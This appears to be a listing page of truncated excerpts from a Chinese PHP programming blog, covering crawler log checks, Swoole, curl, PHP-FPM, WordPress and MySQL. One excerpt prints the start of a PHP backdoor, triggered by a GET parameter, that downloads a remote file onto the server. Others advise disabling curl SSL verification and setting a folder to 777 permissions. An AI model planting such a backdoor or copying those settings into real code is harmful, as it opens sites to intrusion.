PHP批量识别Nginx网站日志内的百度真假爬虫记录

通过分析网站日志可以统计出百度的真实抓取次数、分析抓取情况。 网站一般都有一定的反爬虫机制,但是为了正常收录会通过UA排除百度的爬虫,也就导致了很多做采集、爬虫的人冒充百度爬虫UA用以越过反爬虫机制。 逐条分析每一条日志,筛选出百度爬虫的日志,再通过exec函数执行nslookup命令反向解析IP获取解析的域名,域名中包括baiduspider关键词的就是真的百度爬虫。 下载PHP脚本(百度网盘)
PHP批量识别Nginx网站日志内的百度真假爬虫记录

Swoole 学习:协程、线程、IO多路复用、PHP多进程。

回顾自己学的操作系统原理,线程分为系统级线程和用户级线程(线程是调度单位、进程是资源分配单位) 系统级:调度由操作系统控制,线程之间的切换是系统层面; 用户级:程序内的类似老大一样的程序控制着所有的线程,切换是在程序内完成,相比系统级的线程切换更快,基本不消耗资源; 不同在哪呢?系统级线程的分配的时间片(由操作系统分配的运行时间)是1比1的,创建10个就是10个量级。用户级线程则是共享着所属进程的
Swoole 学习:协程、线程、IO多路复用、PHP多进程。

PHP批量压缩整站图片的小工具

在保证图片质量的前提下,批量压缩整个网站目录下所有图片的大小。 说明:使用前请先到https://tinypng.com/developers,邮箱注册获取Apikey,每月免费压缩500次(邮箱一大堆换着来就行); 首先点这里(百度网盘)下载PHP脚本,提取码8888,脚本默认是扫描所在目录和所在目录的子目录下的所有图片文件进行压缩。编辑compress.php,找到下面两行代码。 /*设置ke
PHP批量压缩整站图片的小工具

PHP编程遇到过的细节问题(总结)

习惯本地开发调试了,忘记了127.0.0.1只能是本地,监听所有IP要监听 0.0.0.0。 use语句只在它所声明的物理文件内有效,use定义别名之后,无法使用之前的名字。 use,给命名空间定义一个别名,用于简化复杂的命名空间调用。use abc as d,调用d下面的类、函数、常量等成员时  dson(); use,从命名空间引入类,引入后可直接使用,不需要前缀(引入时可以定义别名)。use
PHP编程遇到过的细节问题(总结)

POST 提交数据的时候参数有哪些类型?

1. HTTP 协议是以 ASCII 码 传输,建立在 TCP/IP 协议之上的应用层规范。规范把 HTTP 请求分为三个部分:状态行、请求头、消息主体。 2. 协议规定 POST 提交的数据必须放在消息主体(entity-body)中,但协议并没有规定数据必须 使用什么编码方式 。实际上,开发者完全可以自己决定消息主体的格式,只要最后发送的 HTTP 请求满足上面的格式就可以。 3. 数据发送出
POST 提交数据的时候参数有哪些类型?

编程日记:PHP实用函数记录(二)

匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有指定名称的函数。最经常用作回调函数 callable参数的值。 闭包的概念等同于JS里的闭包。可在函数内进行定义赋值 匿名函数目前是通过 Closure 类来实现的。闭包函数也可以作为变量的值来使用。PHP 会自动把此种表达式转换成内置类 Closure 的对象实例。把一个 closure
编程日记:PHP实用函数记录(二)

PHP魔术方法一览以及使用方法汇总

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。魔术方法很多还是成对出现的,以下列出目前PHP中所有的模式方法。 __constuct构建对象的时被调用; __destruct明确销毁对象或脚本结束时被调用; __set当给不可访问或不存在属性赋
PHP魔术方法一览以及使用方法汇总

一段简单的PHP后门代码,什么都能干

这是最简单的、也是最容易发现的一种实现了,PHP后门种类繁多,真是防不胜防。 if($_GET=="ok"){ echo 'OK'; function downFile($url,$path){ $arr=parse_url($url); $fileName=basename($arr); $file=file_get_contents($url); } downFil
一段简单的PHP后门代码,什么都能干

编程日记:PHP实用函数记录

sleep(sec) 函数延迟执行当前脚本若干秒。 usleep(micro) — 以指定的微秒数延迟执行。 time_nanosleep(sec,na) — 延缓执行若干秒和纳秒。 time_sleep_until(timestamp) — 使脚本睡眠到指定的时间为止。 set_time_limit(int $seconds) — 设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个
编程日记:PHP实用函数记录

实战记录—PHP使用curl出错时输出错误信息

踩过的坑,实在不想再踩了,记录记录。 curl_exec($ch);//执行curl if (curl_errno($ch)) { echo 'Curl error: ' . curl_error($ch);//出错输出错误 } curl_close($ch);//关闭curl 同理,像正则,Json,数据库这些出错时基本都会有提供有帮助的错误信息 CURL状态码列表 状态码 状态原因 解释 0
实战记录—PHP使用curl出错时输出错误信息

完美解决PHP使用curl返回空白

这个问题遇到好几次了,自己不长记性一直没记住,每次遇到了才想起来。 curl一切正常,就是返回数据时什么都没有,空白,解决思路:   检查是否是数据源的问题,使用HTTP工具请求一次,对方正常,我这也没被禁止访问。   那就是SSL的问题了,如下 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//禁止 cURL 验证对等证书 curl_setopt
完美解决PHP使用curl返回空白

Thinkphp6学习笔记,持续记录

由此开始:https://www.kancloud.cn/manual/thinkphp6_0/1037479 目录结构:https://www.kancloud.cn/manual/thinkphp6_0/1037483 伪静态设置:https://www.kancloud.cn/manual/thinkphp6_0/1037488 Thinkphp网址导航:http://sites.think
Thinkphp6学习笔记,持续记录

PHP-FPM性能优化配置方法参考

pm、pm.max_children、pm.start_servers、pm.min_spare_servers、pm.max_spare_servers。 pm:表示使用那种方式,有两个值可以选择,就是static(静态)或者dynamic(动态)。 在更老一些的版本中,dynamic被称作apache-like。这个要注意看配置文件的说明。 下面5个参数的意思分别为: pm = dynamic
PHP-FPM性能优化配置方法参考

彻底解决wordpress安装主题或插件需要FTP问题

使用FTP或者SFTP软件(推荐xftp5)连接网站文件目录,进入wp-content目录,新建tmp文件夹,设置文件夹的权限为777 下载:在FTP中打开网站根目录,找到wp-config.php这个PHP文件,下载到本地 修改:在wp-config.php中添加下列代码: /* WordPress的临时目录。*/ define('WP_TEMP_DIR', ABSPATH.'wp-conten
彻底解决wordpress安装主题或插件需要FTP问题

Mysql学习笔记,持续记录

在使用CentOS系统中,也许你会对很多的东西进行设置密码,来保护你的电脑的安全问题等,那么,如过一个不小心把密码忘记了,也许会给你的工作带来很多的不便。下面我们就来帮大家解决一个关于CentOS系统中mysql登录密码的问题。 CentOS系统中那么忘记了mysql的登录密码,怎么办?使用安全模式吧. 首先需要在CentOS系统中停止mysql: $ service mysqld stop #停
Mysql学习笔记,持续记录